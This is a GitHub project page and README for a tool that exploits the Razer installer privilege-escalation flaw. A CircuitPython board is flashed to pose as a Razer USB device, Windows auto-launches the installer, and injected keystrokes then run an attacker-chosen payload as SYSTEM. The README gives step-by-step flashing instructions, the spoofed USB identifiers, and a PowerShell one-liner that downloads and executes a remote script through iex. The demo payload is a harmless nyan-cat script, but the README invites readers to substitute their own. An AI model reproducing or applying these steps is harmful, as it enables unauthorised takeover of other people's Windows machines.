https://github.com/synap5e/razor-eop-xiao
Razor installer elevation of privilege trigger + automation with Seeeduino XIAO
https://github.com/synap5e/razor-eop-xiao
circuitpython eop exploit micropython privesc razor
Last synced: 6 days ago
JSON representation
Razor installer elevation of privilege trigger + automation with Seeeduino XIAO
- Host: GitHub
- URL: https://github.com/synap5e/razor-eop-xiao
- Owner: synap5e
- Created: 2021-09-07T00:37:43.000Z (over 3 years ago)
- Default Branch: master
- Last Pushed: 2021-09-07T03:43:54.000Z (over 3 years ago)
- Last Synced: 2025-03-29T00:11:16.917Z (24 days ago)
- Topics: circuitpython, eop, exploit, micropython, privesc, razor
- Language: Python
- Homepage:
- Size: 6.54 MB
- Stars: 6
- Watchers: 1
- Forks: 3
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
https://user-images.githubusercontent.com/2515062/132268952-057c93f4-9aee-4d4b-af35-2ac3cd875253.mp4
Designed for https://wiki.seeedstudio.com/Seeeduino-XIAO/, but should work on any board that can run circuitpython and has USB.
Either compile your own, or use `Seeeduino_XIAO_fake_razor_firmware.uf2` if you are using the Seeeduino XIAO.
# Howto
1. Put board into load firmware mode (trigger reset twice for the XIAO)
2. Put the firmware .uf2 file on the USB drive that appears
3. Wait for chip to reboot. It should show up as a Raxor device (and start the installer if it hasnt already run on the PC)
4. Adjust `main.py` to run your own payload, possibly also adjust wait time for installer to launch
5. Put `boot.py`, `main.py` and `adafruit_hid` on the circuitpython driveTo re-trigger the Razor installer if it has already launched once, right click the device in `Control Panel\Hardware and Sound\Devices and Printers` and select `Remove Device` then re-plug the chip.
# Building your own firmware
Clone https://github.com/adafruit/circuitpython and change `ports//boards//mpconfigboard.mk` (e.g. `ports/atmel-samd/boards/seeeduino_xiao/mpconfigboard.mk`) so that
```
USB_VID = 0x1532
USB_PID = 0x023e
```Optionally also set
```
USB_PRODUCT = "Razer device"
USB_MANUFACTURER = "SYSTEM EOP"
```then build for that board.
# Nyan
Run `nyan.ps1` to get nyan cat (popping calc.exe is lame).
Use `cmd /c start powershell -noexit -c "iex (New-Object Net.WebClient).DownloadString('http://host/nyan.ps1')"` to start in a new window.